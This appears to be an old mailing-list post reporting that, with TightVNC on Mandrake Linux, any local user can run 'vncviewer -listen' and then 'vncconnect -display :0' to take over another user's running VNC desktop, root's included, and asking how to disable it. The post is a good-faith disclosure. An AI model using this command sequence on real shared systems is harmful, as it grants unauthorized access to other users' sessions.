Hello,
        I have noticed some troubling behavior as I have familiarized
myself with vnc. I am hoping that is is only due to a poor default
configuration and that someone can point me to the right place to
reconfigure what I'm about to describe.

   No doubt I am a newbie to VNC so I apologize if there is a known and
trivial fix, but I couldn't find it in any of the docs.

   I have noticed that by using the following combination, I can open
a session with ANY RUNNING VNCSERVER on that machine!!

I am running on Linux Mandrake 9.1, tightvnc 1.2.7-2, 

    # first run the viewer in reverse mode:
    # (-listen 99 makes it listen on port 5599)

$ vncviewer -listen 99 &

    # let's see the running servers ...

$ ps auxw | grep Xvnc
root  [snip] Xvnc :0 -desktop X -ht ... etc.
wanda [snip] Xvnc :1 -desktop X -http ... etc.
jack  [snip] Xvnc :2 -desktop X -httpd ... etc.
mark  [snip] Xvnc :3 -desktop X -httpd /u ... etc.

    # take your pick of X display numbers and you can open a
    # connection with vncconnect ...
    # lets pick the display number root is using :0

$ vncconnect -display :0  localhost:5599

    # WHAMO! root's X display at my disposal!!
    # any user can connect to any other user's running vncserver this
    # way. Granted it probably isn't too wise to leave a root
    # vncserver running, but that is beside the point really.

    So, is this a bug or a feature? Does anyone know how to disable
this behavior?

thanks
theo



PS I usually try to run things fairly securely. I discovered this
after I had already set up users with ssh tunnels for the vnc
connection, and I was just curious about the `-listen' option, I
wasn't even checking for security holes. Then, like I said, WHAMO!
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